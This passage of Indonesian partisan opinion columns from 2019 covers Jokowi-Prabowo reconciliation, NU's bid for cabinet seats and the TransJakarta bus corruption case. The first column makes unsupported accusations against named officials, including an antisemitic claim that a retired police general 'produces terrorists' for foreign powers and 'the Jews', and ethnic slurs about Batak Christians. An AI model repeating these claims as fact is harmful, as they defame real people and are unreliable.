Jokowi. Hasilnya tentu sudah bisa ditebak. Tanpa perlu pikir panjang, Luhut ditolak Prabowo dan semua pendukungnya. Sebuah sikap yang menunjukkan ketidaksukaan, bahkan mungkin juga kebencian dari pendukung Prabowo yang sudah di ubun-ubun kepada Luhut. Sebuah lompatan politik penting telah diraih Jokowi dari terobosan di Stasiun MRT, Lebak Bulus. Meskipun demikian, harus diakui pertemuan tersebut tidak serta-merta dapat mengubah sikap para pendukung Prabowo di akar rumput. Sikap pendukung Prabowo, terutama emak-emak militan tetap tidak bisa menerima kemenangan Jokowi sebagai Presiden 2019. Mereka beranggapan kemenangan yang didapat Jokowi melalui kecurangan yang massif, sistematis, dan terencana. Pertemuan yang diakhiri makan-makan Sate Senayan ini dilanjutkan pertemuan Megawati dengan Prabowo di Jalan Teuku Umar. Dua kali pertemuan antara Prabowo-Jokowi dan Prabowo-Megawati cukup memberikan angin segar bagi Jokowi. Paling kurang, untuk lima tahun ke depan. Saat dilantik sebagai Presiden Indonesia periode kedua tanggal 20 Oktober 2019 nanti, Prabowo diharapkan bisa hadir dan memberikan ucapan selamat kepada Jokowi. Sejak pertemuan politik stasiun MRT Lebak Bulus, tampak Trio Wekwek tidak dilibatkan. Sebuah keputusan politik yang sangat jitu dan tepat sasaran. Sebab bila Trio Wekwek atau salah satu saja yang dilibatkan, dan biasanya Luhut yang paling sibuk untuk menyodorkan diri maju ke depan, maka hampir dipastikan pertemuan tersebut tidak pernah terjadi. Pasti gagal dan gagal lagi. Mengetahui tingginya kebencian pendukung Prabowo kepada Trio Wekwek inilah yang mendorong Megawati perintahkan Budi Gunawan melakukan segala cara dan upaya, dengan kerahasiaan tingkat tinggi. Targetnya bisa ketemu langsung dengan Prabowo. Setelah ketemu, bujuk Prabowo agar mau bergabung dengan pemerintah Jokowi. Tawarkan saja cek kosong kepada Prabowo. Jokowi dan Megawati membiarkan Prabowo sendiri yang mengisi berapa nilai ceknya yang pantas. Sayangnya, cek kosong itu bukan dalam bentuk duit. Tawaran memberikan cek kosong kepada Prabowo untuk saat ini cukup ampuh meredam Prabowo. Termasuk teman-teman Prabowo di koalisi adil makmur, PKS, dan PAN. Buktinya Amin Rais yang terkenal sangat keras menentang rekonsiliasi dengan Jokowi, belakngan mulai melunak setelah ketemu Prabowo. Sikap melunaknya Amin Rais ini dengan membuat pernyataan “Kita akan mengawasi Jokowi dan Ma’ruf Amin liman tahun ke depan” Bersatunya koalisi Jokowi-Megawat dengan Prabowo ini tentu saja tidak dikehendaki Trio Wekwek. Mereka pasti tidak nyaman dengan keberadaan Prabowo di koalisi Jokowi-Megawati. Buktinya, sampai sekarang Trio Wekwek masih membisu seribu bahasa. Trio Wekwek tak berkomentar apapun tentang pertemuan Stasion MRT Lebak Bulus dan Teuku Umar. Lambat tapi pasti, peran Trio Wekwek akan digantikan Prabowo dengan teman-temannya. Paling kurang dalam mengelola pemerintahan lima tahun ke depan, Jokowi punya tambahan teman untuk didengar pendapatnya. Petualangan Trio Wekwek selama ini dengan membenturkan Jokowi dengan Islam kanan cukup membuat posisi Jokowi tidak aman. Bahkan hampir saja terjungkal. Trio Wekwek sebenarnya tidak punya posisi tawar publik. Mereka bertiga tidak punya basis politik yang kuat dibandingkan dengan Prabowo. Hendroprijono misalnya, hanya berasal dari partai politik kecil PKPI yang tidak lolos parliamentary threshold. Hendro tidak punya kursi setengah pun di DPR. Ambisi politik Hendro, selain mengamankan urusan bisnis pribadinya, selalu berupaya dengan segala cara mendorong-dorong anak dan menantu untuk menjadi pejabat negara. Diaz Hendroprijono kini jadi Staf Khusus Presiden. Menantu Jendral TNI Andika Perkasa digadang-gadang sampai jadi Kepala Staf Angkatan Darat (KSAD). Kelakuan Hendro ini hanya beda-beda tipis dengan Soesila Bambang Yudhoyono. SBY sekarang ini sebagian besar hidupnya hanya diabdikan untuk memperjuangkan dua putranya Edhi Baskoro dan Agus Harimurti bisa menjadi menteri. SBY sekarang rela kehilangan nama besar sebagai negarawan, asalkan anaknya Ibas dan Agus bisa jadi pejabat negara. Bedanya dengan Hendro, SBY punya Partai Demokrat, dan punya kursi DPR. Sedangkan Luhut cuma pendatang di Golkar. Luhut tidak punya kaki di akar rumput Partai Golkar. Kerjanya hanya memonopoli semua lini bisnis. Caranya dengan menakut-nakuti pejabat level bawah. Mulai dari Dirjen, Gubernur, Bupati, eselon dua, tiga dan empat di kementerian. Luhut sangat berambisi memposisikan dirinya sebagai orang kaya sepuluh besar di negeri ini. Untuk itu, semua proyek mutlak harus melibatkan perusahaan Luhut, baik langsung maupun hanya vehicle. Kepuasan Luhut lainnya adalah menempatkan orang-orang Batak menjadi pejabat negara dan bisnis di semua lini pemerintahan dan usaha. Mereka menempati posisi-posisi penting di eselon satu, dua, tiga dan empat di sejumlah kementerian. Lihat di KPK, dua orang komisoner dari Batak Kristen, yaitu Basariah Panjaitan dan Saur Situmorang. Selain itu, Luhut juga banyak menaruh orang-orang Batak di direksi dan komisaris BUMN. Selain itu mereka bertebaran juga di sejumlah perusahaan konglomerat swasta. Begitu juga dengan pejabat negara setingkat menteri. Lihat saja, Kerpala Badan Saiber dan Sandi Negara (BSSN) Letjen (Purn) Hinsa Siburian. Merskipun tidak punya kemampuan dan pengetahuan apa-apa tentang siber, namun Luhut berusaha dengan segala cara meperjuangkan Hinsa Siburian menjadi kepala BSSN. Begitu juga dengan anak mantunya Mayjen TNI Maruli Simanjuntak. Maruli sekarang menjabat Komandan Pasukan Pengmanan Presiden (Dan Paspampres). Maruli yang berasal dari lulusan Akademi Militer 1992 menjadi orang pertama yang menggapai bintang dua di pundaknya. Sayangnya, yang diperjuangkan Luhut hanya terbatas orang-orang Batak Kristen atau HKBP. Rupanya hanya sebatas itu ambisi besar anak emasnya Jendral TNI (Purn) L.B Moerdani ini. Luhut juga menjadi arsitek utama masuknya tenaga kerja asing Cina ke Indonesia. Modusnya adalah pembukaan investasi kawasan ekonomi khusus. Mau lihat buktinya. Datang dan lihat pembangunan smelter untuk pengolahan nikel di beberapa daerah, seperti di Pomala Sulawesi Tengah, Konawe Sulawesi Tenggara dan Obi Maluku Utara. Dipastikan hampir 90% tenaga kerja di tiga perusahaan pemurnian nikel ini berasal dari Cina. Lain lagi dengan petualangan Komjen Polisi (Purn.) Gories Mere. Pensiunan polisi bintang tiga ini hobinya membuat penangkaran atau memproduksi teroris. Misi utamanya, mencitrakan Islam yang identik dengan kekerasan atau pembunuhan atas nama perang jihad dan sejenisnya. Untuk menciptakan horor ini, Gories tidak sendirian. Mentornya Brigjen Polisi (Purn.) Surya Dharma. Yuniornya adalah Irjen Pol. (Purn) Bakto Suprapto, Irjen Pol. Carlo Tewu, Deputi di Menkopolhukam, Irjen Pol. Petrus Golosse, sekarang Kapolda Bali, Brigjen Pol. Martinus Hukom, sekarang Wakadensus 88 Polri dan Brigjen Rahmat Wibowo, sekarang Direktur Tipid Siber Bareskrim Polri. Gories mewakili Amerika, Inggris, Asutralia dan Yahudi di Indonesia Publik negeri ini belom lupa dengan ngopi-ngopi Gories dengan pelaku bom Bali Amroji di Mall Plaza Senayan. Hanya Gories yang punya kesaktian bisa jalan-jalan dengan terhukum teroris untuk shoping dan ngopi-ngopi di mall. Padahal ketika itu Gories menjabat Kepala Badan Narkotika Nasional (BNN). Gories dulu juga suka jalan-jalan di luar penjara dengan ratu ekstasi Zarima Mirafsur. Hobi bersama Trio Wekwek adalah mencitrakan horor tentang Islam kanan. Misalnya Islam kanan itu dekat dengan teroris, radikal, dan intoleransi. Selain itu, Islam kanan juga diidentikkan dengan kekerasan. Prilaku Trio Wekwek ini tentu berlawanan dengan garis politik koalisi Jokowi-Megawati yang selalu berusaha bisa bergandengan dengan Islam kanan. Megawati juga sangat berkeinginan mendorong Islam kanan agar lebih ke tengah. Megawati ingin mencontoi Bung Karno yang berangkulan mesra dengan tokoh-tokoh Masyumi seperti di awal kemerdekaan. Bung Karno sangat dekat dengan Muhammad Natsir, Mohammad Roem dan Syafrudin Prawiranegara. Kondisi politik tiga tahun terakhir yang renggang dengan Islam kanan, mendorong Megawati untuk memperbaikinya. Apalagi menghadapi suksesi kepemimpinan di PDIP yang kemungkinan jatuh ke Puan Maharani atau Prananda Prabowo di tahun 2024 nanti. Sayangnya inilah yang sekarang renggang akibat ulah petualangan politik Trio Wekwek. End. Foto: medaninside, law-justice.co, darma henwa tbk.

NU: Wapres Itu Setara dengan Seluruh Menteri

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Sejumlah Ulama dan Kiai Nahdlatul Ulama (NU) kultural sangat prihatin dengan permintaan “jatah” menteri oleh PBNU kepada Presiden Joko Widodo yang “memenangkan” kontestasi Pilpres 2019, 17 April 2019. Perlukah Presiden Jokowi kabulkan? Isu NU meminta jatah menteri ke Presiden Terpilih Jokowi mendapat kritik dari tokoh NU. KH Salahuddin Wahid alias Gus Solah mengatakan, NU saat ini sudah bermain politik dan sekarang NU sudah terlalu jauh untuk masuk ke dalam kegiatan politik. “Saya pikir organisasi NU terlalu jauh bermain politik. Bahkan sekarang NU minta jatah politik, itu adalah jatah partai. Kalau begitu NU mending jadi partai politik saja,” kata Gus Solah, seperti dilansir Tribunjateng.com, di Pekalongan, Rabu (17/7/19). Pernyataan Gus Sholah itu disampaikan saat menghadiri acara Halaqoh Kebangsaan Khittah 1926 di Gedung Koperasi Batik Pekajangan, Pekalongan. Menurutnya, politik NU bukanlah politik kekuasaan melainkan politik kebangsaan, keumatan, dan kemanusiaan. Oleh karena itu, Halaqoh yang diadakan ini dimaksudkan untuk Ngaji Bareng tentang Khittah NU. “NU itu didirikan untuk melayani umat Islam di Indonesia, bukan untuk menguasai umat, yang dimaksud dangan kembali ke khittoh seperti itu,” jelasnya. Gus Solah bersama sejumlah tokoh penting NU seperti KH Nasihin, Kiai Thoha, Kiai Rozi dan yang lainnya menghadiri acara Halaqah Komite Khittah Nahdlatul Ulama (NU) 1926 ke-9 digelar di Gedung Koperasi Batik Pekajangan. Putri Presiden Keempat RI Abdurrahman Wahid alias Gus Dur, Yenny Wahid, sendiri sudah mengingatkan petinggi NU tidak terjebak dalam politik praktis, terlebih soal jatah menteri. Hal itu disampaikannya di Silang Monas, ‎Jakarta Pusat, Rabu (10/7/2019). “Saya mengimbau pada petinggi NU untuk tidak terjebak pada retorika seolah dipahami kita menuntut kursi kabinet dan sebagainya,” katanya, usai menghadiri HUT Bhayangkara ke-73. Yang terpenting bagi NU adalah suara mereka didengar pemerintah. Apalagi hampir 50% lebih umat Islam mengaku berafiliasi ke NU. “Banyak lembaga survei menunjukkan hampir 50% lebih umat Islam berafiliasi dengan NU. Artinya ketika kader NU ‎ditunjuk di kabinet, ya itu jadi representasi dari sebagian besar umat,” ujarnya. NU, kata Yenny, tetap menjaga sinergi dengan pemerintah ke depan, baik dengan memiliki kader di kabinet atau tidak. Dia memastikan NU akan tetap memberikan masukan dan kritik yang membangun bagi kemajuan bangsa dan negara. “Ketika pemerintah siap, NU harus mampu kerja sama dan mampu menjaga jarak sehat,” kata Yenny. Sebelumnya, Wasekjen PKB Daniel Johan minta jatah kursi menteri partainya dengan NU dalam kabinet Koalisi Indonesia Kerja (KIK) jilid II, dipisah porsinya. “Karena memang PKB itu dilahirkan oleh NU, tapi kan PKB bukan NU, tentu itu suatu yang terpisah,” kata Daniel dalam diskusi Polemik di Menteng, Jakarta Pusat, Sabtu (6/7/2019). Baik NU maupun PKB sama-sama bekerja keras dalam kampanye Pilpres 2019. Sehingga merupakan hal wajar jika keduanya mendapat porsi bagian dalam struktur kabinet Koalisi Indonesia Kerja (KIK) jilid II. “Karena NU juga menjadi bagian yang sangat bekerja keras kemarin sehingga itu dua hal yang berbeda,” ungkap Daniel. Tapi meski menyarankan jatah kursi PKB dengan NU dipisah, Daniel menyerahkan seluruh keputusan ke tangan Presiden Jokowi yang memiliki hak prerogatif. “Pada akhirnya kita serahkan kepada pak Jokowi,” lanjut Daniel. “Kami hanya menyediakan Kader terbaik, tapi nanti itu akan melalui hasil pertimbangan mendalam,” tambahnya. Sebelumnya, PKB secara terang-terangan meminta jatah 10 kursi menteri masuk ke dalam komposisi kabinet IKI jilid II periode 2019-2024. Beberapa pos menteri yang dimintanya: Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT), Menteri Pendidikan dan Kebudayaan (Mendikbud), Menteri Ketenagakerjaan, Menteri Kelautan dan Perikanan, hingga Menteri Pertanian. Namun, khusus soal kursi Menaker, Daniel menjelaskan belum mendengar pembahasan itu di internal partai. “Mendes mungkin karena memang sudah berjalan. Kalau menaker nggak tahu belum dengar. Mudah-mudahan basis nahdliyin, yaitu petani dan nelayan,” ungkapnya. Untuk posisi Menteri Pemuda dan Olahraga (Menpora), tampaknya PKB tidak berminat lagi. Daniel mempersilakan pos Menporan itu diberikan kepada mereka yang masih dan punya jiwa muda. “(Menpora?) Kasih yang muda saja,” katanya sambil tertawa. Apakah karena Menpora yang dijabat kader PKB Imam Nahrawi belakangan terseret kasus suap pengucuran dana hibah KONI. Diketahui, dalam KIK pemerintahan Jokowi saat ini, pos menteri yang diisi oleh kader PKB, diantaranya Menaker Hanif Dhakiri, Menpora Imam Nahrawi, dan Mendes PDTT Eko Putro Sandjojo. Sedangkan Menristekdikti Mohammad Nasir kerap disebut representasi PKB. Posisi Wapres Akankah semua permitaan PKB maupun NU itu dipenuhi Presiden Jokowi? Kalau akhirnya format rekonsiliasi Prabowo Subianto yang sudah bertemu Presiden Jokowi dan Ketum DPP PDIP Megawati Soekarnoputri itu terealisasi, rasanya tidak mungkin. Jokowi pasti akan memasukkan juga orang-orang yang dipercaya Prabowo untuk masuk juga dalam KIK jilid II Jokowi bersama Wapres Terpilih Ma’ruf Amin. Apalagi, syarat yang telah diajukan itu berdasarkan prosentase perolehan suara Pilpres 2019, 55:44. Bagi parpol Koalisi Jokowi-Ma’ruf, ajuan tersebut tentu saja tidak bisa diterima. Jatah kursi menteri mereka dapat dipastikan akan berkurang banyak. Ditambah lagi, NU juga meminta jatah kepada Presiden Jokowi. Jelasnya, ini sangat berlebihan. “NU kan sudah dapat jatah Wapres (Kiai Ma’ruf Amin) yang tokoh ulama-kiai NU ternama. Masa’ masih saja kurang,” ujar ulama NU dari Jatim KH Rozy Shihab kepada Pepnews.com. Jabatan Wapres itu bisa disetarakan dengan semua posisi menteri. Artinya, posisi Wapres yang bakal dipegang Ma’ruf Amin, setelah dilantik, bisa dianalogikan sama dengan jabatan seluruh menteri dalam KIK. Jadi, sebenarnya NU sudah mendapatkan semua posisi menteri dalam Kabinet Jokowi-Ma’ruf. Sedangkan posisi Presiden, itu bisa saja dianalogikan sama dengan jabatan Wapres bersama semua posisi menteri. Jadi, NU tidak perlu meminta-minta lagi jabatan kepada Jokowi. Jadi, NU tidak perlu datang dan minta-minta ke Presiden. “Justru presidenlah yang harus datang ke NU. Karena, sesuai Khittah 1926, NU itu bukanlah partai politik. Ini yang harus dicamkan,” tegas Kiai Rozy Shihab, mengingatkan. Hal serupa disampaikan KH Abdul Malik Madani. Khittah NU itu politik kebangsaan, bukan politik praktis. NU itu ormas Islam terbesar di Indonesia dengan sejarah panjang mengawal NKRI. “NU itu seharusnya tidak masuk pada tataran politik rendahan, yaitu politik praktis atau politik kekuasaan,” ujarnya. Hal itu disampaikan mantan Katib Aam PBNU ini saat menyampaikan pandangan umum soal Khittah NU di Ponpes Tebuireng 8 Serang, Banten. Acara itu merupakan rangkaian Halaqah ke-8 Komite Khittah NU 1926 (KKNU 26). Dalam kesempatan itu, Kiai Malik menyampaikan pesan dari almarhum KH Ahmad Sahal Mahfudz. “Dalam Rapat Pleno PBNU di Universitas Ilmu Al-Qur’an (Unsiq) Kelibeber, Wonosobo, Kiai Sahal mewanti-wanti agar NU tidak bermain-main dalam politik rendahan (siyasah safilah) tetapi NU bermain dalam politik tinggi (siyasah aliyah),” ungkapnya. Yang dimaksud dengan politik tinggi di sini, lanjut Kiai Malik, bahwa NU tidak main pada tatran politik praktis, tetapi menjalankan tiga hal yang merupakan politik tingkat tinggi. Tiga hal itu adalah politik kebangsaan, politik kerakyatan, dan etika politik. “Politik kebangsaan menuntut NU proaktif membentengi NKRI sebagai bentuk final bagi umat Islam,” jelasnya, seperti dikutip dalam catatan “Khittah 1926 Nahdlatul Ulama”. Sementara itu, politik kerakyatan menuntut NU agar proaktif menyadarkan rakyat atas hak-haknya sebagai rakyat supaya tidak menjadi alat kekuasaan bagi elit politik. “Sedangkan etika politik, NU aktif menyebarluaskan ajaran Islam tentang etika berpolitik, termasuk menolak politik uang, suap, korupsi, dan lain-lain,” ungkap Kiai Malik. Kalau NU sudah masuk pada tataran politik kekuasaan, maka di dalamnya sarat dengan kepentingan. Selain itu, juga akan menimbulkan gesekan antara struktural dengan kultural, sehingga tidak akan pernah ada ittifaq (kesepakatan), yang ada hanya ikhtilaf (perselisihan). PBNU ketika Pilpres 2019 secara terang-terangan maupun terselubung, memobilisasi warga NU, struktur NU pada tingkatan PW sampai MWC guna mendukung salah satu paslon, penggiringan itu, menurut Kiai Malik, merupakan pelanggaran atas Khittah NU 1926. Melihat itu semua, apakah NU masih tetap ngotot ingin minta jatah jabatan kepada Presiden Jokowi, meski sudah dapat posisi Wapres? Ingat, jabatan Ma’ruf Amin di PBNU adalah Rois Syuriah! (Bersambung). ***

Dilema Jokowi Hadapi Tekanan Koalisi

Oleh: Mochamad Toha (Wartawan Senior) Jakarta, FNN - Kasus Lawas Bus TransJakarta Tahun Anggaran 2013 tiba-tiba mencuat lagi, seolah memberi tahu kepada masyarakat, Presiden Joko Widodo yang saat itu menjabat Gubernur DKI Jakarta ternyata masih punya “kasus” yang belum tuntas. Lho, koq bisa? Tentu saja bisa, karena kala itu kasus TJ tersebut telah dipetieskan Presiden Susilo Bambang Yudhoyono menjelang Pilpres 2014. Jika sekarang muncul lagi sama dengan tekanan kepada Jokowi agar membatalkan rekonsiliasi dengan Prabowo Subianto. Sebuah tekanan politik yang luar biasa kepada Presiden Terpilih Jokowi. Tentunya ini sebuah pilihan yang sangat menyulitkan Jokowi sendiri. Apalagi, Koalisi Jokowi sekarang ini mulai terjadi perpecahan. Dimotori NasDem, mereka tolak rekonsiliasi. Di satu sisi, seperti ditulis Joko Edy dalam twiternya Jokoedy@joked2019 (20:50 22 Juli 19), power sharing itu sulit ditolak. “Para pemodal Cina menekan Jokowi. Mereka baru akan menurunkan dana jika Prabowo ikut di Koalisi Jokowi,” tulisnya. “Termasuk Rp 1.300 T yang belum lama ditandatangani Presiden Xi Jinping. Cina-Cina itu ketakutan terjadi gejolak, yang bisa membuat investasi mereka hangus,” lanjutnya. Di dalam negeri, “dalang” yang selama ini di belakangnya juga menekan Jokowi. Sehingga yang terjadi sekarang ini adalah pilihan pelik bagi Jokowi. Nasib rekonsiliasi kini ditentukan oleh kekuatan 2 alat sandera. Yakni hasil pertarungan antara: Bukti Pencurangan Pemilu-Pilpres 2019 versus Bukti Korupsi Bus TransJakarta TA 2013. Mana yang lebih efektif menyandera Jokowi? Keduanya jelas sangat efektif. Karena Jokowi bisa kena keduanya. Sehingga, jadinya “maju kena, mundur kena”. Menolak rekonsiliasi bisa “dihabisin” Ketum DPP PDIP Megawati Soekarnoputri dan Prabowo. Sebaliknya, jika menerima rekonsiliasi, Jokowi akan berhadapan dengan Koalisi Jokowi yang dimotori oleh Surya Paloh Cs (NasDem, Golkar, PKB, dan PPP) yang tampaknya sudah buat faksi sendiri di luar PDIP yang sudah tampak “mesra” dengan Gerindra. Tak hanya itu. Bahkan, Jokowi juga akan berhadapan dengan SBY, Luhut Binsar Panjaitan, AM Hendro Priyono, dan CSIS yang selama ini menjadi penyokong Jokowi sejak menjabat Walikota Solo. Mereka akan memakai kasus korupsi Bus TJ tersebut. Apalagi, bukti dalam persidangan kasus korupsi Bus TJ itu juga mengarah pada keterlibatan Jokowi saat menjabat Gubernur Jakarta. Korupsi pengadaan bus TJ tersebut menyeret mantan Kadis Perhubungan Permprov DKI Jakarta Udar Pristiono. Dalam persidangan, Udar akhirnya divonis hukuman 13 tahun penjara dan denda Rp 1 miliar subsider satu tahun kurungan. Tragis! Udar, salah satu diantara beberapa pejabat di Pemprov Jakarta yang diseret di Pengadilan Tipikor Jakarta berkat “kebijakan” Gubernur Jokowi saat itu. Dua mantan anak buahnya, Setiyo Tuhu dan Drajad Adhyaksa, juga menjadi pesakitan. Drajad Adhyaksa adalah Pejabat Pembuat Komitmen pada Dinas Perhubungan DKI Jakarta pada Tahun Anggaran 2013. Sedangkan Setiyo Luhu adalah Ketua Panitia Pengadaan Barang dan Jasa di Dishub DKI Jakarta. Jaksa menyebutkan, kasus korupsi pengadaan bus TJ pada 2013 dilakukan secara bersama-sama oleh sejumlah pihak. Jaksa juga menyebut nama Direktur Pusat Teknologi Industri dan Sistem Transportasi pada BPPT Prof. Prawoto. Lembaga yang dipimpin oleh Prawoto ini disebut bertanggung jawab karena berperan sebagai perencana dan pengendali teknis serta pengawas pengadaan dalam proyek TJ. Beberapa pemenang lelang juga disebut terlibat dalam kasus ini. Pertama adalah Direktur Utama PT Korindo Motors Chen Chong Kyong. Perusahaan ini merupakan pemenang lelang pada pengadaan busway articulated (bus gandeng) paket I. Kemudian ada juga keterlibatan dari Direktur Utama PT Mobilindo Armada Cemerlang, Budi Susanto, selaku pemenang lelang pada pengadaan busway articulated paket IV. Direktur PT Ifani Dewi, Agus Sudiarso, juga disebut ikut melakukan korupsi. Perusahaan tersebut adalah penyedia barang pada pengadaan busway articulated paket V dan busway single (tunggal) paket II. Jaksa menyatakan, beberapa bentuk penyimpangan proyek pengadaan bus TJ adalah tidak terpenuhinya spesifikasi teknis; Juga, harga perkiraan sendiri (HPS) berdasarkan sodoran harga proposal dari rekanan dan diarahkannya spesifikasi pada perusahaan tertentu, serta adanya kemahalan harga. Akibat perbuatan mereka, negara dirugikan hingga Rp 392,7 miliar. Dalam persidangan beberapa kali Udar menyebut nama Jokowi, yang kini menjabat Presiden dan menjadi Presiden Terpilih pada Pilpres 2019. Udar mengklaim proses pengadaan 14 paket bus TJ pada 2013 sudah sesuai aturan. Bahkan, ia mengaku sudah melakukan prosedur pelelangan sejalan dengan kemauan dan aturan yang dibuat oleh Jokowi, Gubernur DKI Jakarta saat itu. Saat memberikan kesaksian Udar mengaku proses pelelangan sesuai aturan. Yakni Peraturan Presiden Nomor 54 Tahun 2010 tentang Pengadaan Barang dan Jasa serta Surat Keputusan Gubernur DKI Jakarta. Ia mengaku, sebagai Pengguna Anggaran (PA), Udar sudah menyerahkan sebagian tanggung jawabnya kepada Drajad selaku Kuasa Pengguna Anggaran. Udar mengaku cuma mengawasi penggunaan anggaran dan meneken perjanjian kontrak kerja di akhir proses. “Karena itu memang tugas saya sebagai PA,” kata Udar, seperti dilansir Merdeka.com, Selasa (4 November 2014 09:10). Udar mengatakan, proses pengadaannya juga sudah sesuai dengan visi-misi Jokowi saat masih menjabat Gubernur DKI Jakarta. Bahkan, ia mengaku Jokowi sangat keras mengawasi penyerapan anggaran dalam proses pengadaan. “Program pengadaan bus TransJakarta sesuai rencana daerah. Ini visi misi Gubernur DKI Jakarta,” tegas Udar. Bahkan, katanya, “Pernah diancam oleh Pak Gubernur kalau penyerapannya kecil dibatalkan saja. Karena DKI sangat ketat tentang penyerapan anggaran. Diawasi setiap minggu,” ungkap Udar. Ia mengklaim proses pelelangan bebas dari intervensi, sebab dilaksanakan secara elektronik. Udar mengatakan, ia tak menanggung seluruh wewenang pengguna anggaran lantaran sudah diwakilkan kepada anak buahnya. “Karena terjadi delegasi wewenang, maka proses selanjutnya dilakukan mereka. Pelelangan dilaksanakan melalui electronic procurement, kecuali tatap muka pada tahap akhir karena menandatangani kontrak kerja,” sambung Udar. Kasus korupsi bus TJ itulah yang kini menjadi “momok” bagi Jokowi. Di sinilah masyarakat mulai tahu. Bahwa rivalitas pendukung Jokowi akhirnya terbaca publik. Pasca Pilpres 2019 menjelang penyusunan kabinet, rivalitas ini semakin tajam. Terutama setelah berhembus kencang isu masuknya Gerindra dalam kabinet Jokowi jilid II. Luhut berulang kali minta ketemu Prabowo, ditolak. Munculnya Kepala BIN Budi Gunawan sebagai kekuatan politik baru di balik pertemuan dua pertemuan. Yakni, Pertemuan Prabowo-Jokowi dan Prabowo-Megawati. Ketika pertemuan Prabowo-Megawati, SP bermanuver dengan bertemu Gubernur DKI Jakarta Anies Baswedan, dan menebar kabar akan mengusung Anies sebagai Capres 2024. SP bermanuver karena khawatir jatahnya di kabinet akan berkurang bila Prabowo-Jokowi rekonsiliasi. Banyak pihak menyebut, PDIP sudah tak nyaman lagi bersama NasDem. Jaksa Agung yang dipegang oleh orang NasDem seringkali digunakan untuk “menghabisi” politisi selain NasDem. Sementara kader NasDem banyak yang ditangkap KPK. Terbaru, Gubernur Kepulauan Riau, Nurdin Basirun, Ketua DPW NasDem, ditangkap KPK. Menteri Perdagangan Enggartiasto Lukito sedang dibidik KPK kasus Bowo Sidik. Selain itu banyak pula jaksa yang ditangkap KPK sebagai simbol “perlawanan” pada Jaksa Agung M. Prasetyo. Sebagian besar komisioner KPK sendiri adalah “orang-orang” SBY Cs. Kasus-kasus yang diungkap banyak menyasar kader PDIP dan NasDem. Inilah yang membuat PDIP akhirnya tak nyaman lagi dengan keberadaan Luhut di lingkaran Jokowi. Tarik menarik antara kekuatan BG, Luhut, dan SP semakin menguat saat menjelang perebutan beberapa posisi strategis di kabinet. Jokowi dilematis. Posisi makin terjepit karena kunci truf “kemenangan” Joko Widodo-Ma'ruf Amin oleh KPU dipegang oleh BG, Luhut, maupun SP, bisa saja dimainkan oleh faksi-faksi masing-masing kekuatan untuk menekan Jokowi. Belum lagi bukti pencurangan Jokowi-Ma’ruf yang kini juga dipegang oleh “kekuatan besar” yang sewaktu-waktu bisa “meledak” hingga membuat Jokowi-Ma’ruf terjungkal dari tampuk kekuasaan yang diraihnya dengan pencurangan. Rivalitas di antara politisi pendukung Jokowi-Ma’ruf ini terlihat haus kekuasaan. Jika diadu, maka mereka akan beradu cepat membawa data ke KPK. Selain itu, mereka akan selalu siap sebagai saksi pemberatan atas rivalnya itu. Tidak disadari, pertemuan Prabowo-Jokowi dan Prabowo-Megawati membuat politisi Koalisi Jokowi terpecah dan “teradu”, mereka diadu dengan tujuan untuk ungkap data korupsi lawan politik pada KPK, yang saat ini sudah siap berselancar ke KPK. Situasi itulah yang kini membuat Jokowi tertekan dalam menghadapi pilihan yang dilematis! Mungkin jawaban yang tepat adalah Mundur! ***

Mega,"Semua Keputusan Ada di Presiden Jokowi"

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Bukan tidak mungkin, pertemuan Prabowo-Mega tersebut terjadi untuk antisipasi jika Jokowi dan parpol koalisinya menolak format rekonsiliasi yang diajukan oleh Prabowo. Sumringah. Bahagia. Tidak ewuh pakewuh. Saling lempar senyum lepas. Itulah suasana yang tampak saat berlangsung pertemuan Ketum DPP Partai Gerindra Prabowo Subianto dengan Ketum DPP PDIP Megawati Soekarnoputri di Jakarta. Menariknya, dalam pertemuan “politik nasi goreng” ala Mega tersebut, seperti halnya ketika Presiden Joko Widodo bertemu dengan Prabowo di Stasiun MRT Lebak Bulus, juga dihadiri oleh Kepala BIN Budi Gunawan. Ada yang istimewa? Kehadiran seorang pimpinan lembaga intelijen seperti BG tentunya sangat menarik. Mengapa dalam dua kali pertemuan politik ini BG selalu hadir? Sementara, Jokowi sendiri tidak hadir saat pertemuan di kediaman Mega di Jl. Teuku Umar ini. Memang, bersamaan dengan pertemuan Teuku Umar itu, Rabu (24/7/2019) Presiden Jokowi sedang menyambut kedatangan Putra Mahkota Abu Dhabi, Sheikh Mohamed Bin Zayed Al Nahyan di Bandara Internasional Soekarno-Hatta, Tangerang. Padahal, sebelumnya santer diberitakan bahwa akan terjadi pertemuan segitiga yang dihadiri Jokowi-Megawati-Prabowo, menyusul pertemuan Stasiun MRT antara Jokowi-Prabowo yang juga dihadiri oleh BG yang dianggap “mewakili” Teuku Umar. Pertemuan Jokowi-Prabowo di Stasiun MRT Lebak Bulus, Sabtu (13/7/2019), itu setidaknya membuat panik parpol Koalisi Jokowi, seperti Nasdem, Golkar, PKB, dan PPP, pasca paslon 01 Joko Widodo – Ma’ruf Amin menang gelaran Pilpres 2019. Jika rekonsiliasi yang sebelumnya dilontarkan pihak Jokowi terealisasi, maka dikhawatirkan akan mengurangi “jatah” kursi dalam Kabinet Kerja II Jokowi-Ma’ruf maupun pimpinan di lembaga legislatif seperti MPR, DPR, maupun DPD mendatang. Apalagi, syarat rekonsiliasi yang diajukan Prabowo tersebut harus mencerminkan prosentase perolehan suara 55% untuk Jokowi dan 54% Prabowo. Inilah yang membuat Ketum Nasdem Suryo Paloh akhirnya menggelar pertemuan Koalisi Jokowi. Pertemuan digelar di kantor DPP Nasdem, Senin (22/7/2019). Melansir Tribunnews.com, dalam pertemuan itu, selain Surya Paloh sebagai tuan rumah, hadir Ketum Golkar Airlangga Hartarto, Ketum PKB Muhaimin Iskandar, dan Plt Ketum PPP Suharso Monoarfa. SP menyebut Mega tidak ikut hadir, karena pertemuan tersebut berlangsung secara spontan tanpa diagendakan sebelumnya. “Ya memang kalau bisa hadir bersama bisa lebih baik. Tapi ini spontan saja kebetulan sedang kumpul di kantor Nasdem,” katanya. Ia mengakui memang tak mengundang perwakilan PDIP untuk datang ke kantornya. Namun SP menyebut tiga ketum parpol yang datang juga tak diundang. “Memang yang datang tidak diundang. Itu semua spontan datang kebetulan sekali mereka adik-adik saya,” ujarnya. Menurut SP, dalam pertemuan itu tak ada pembahasan spesifik. Masing-masing ketum parpol hanya saling bertukar pikiran terkait konsolidasi politik yang dilakukan pasca Pilpres 2019. Terkait pimpinan MPR, SP sepakat 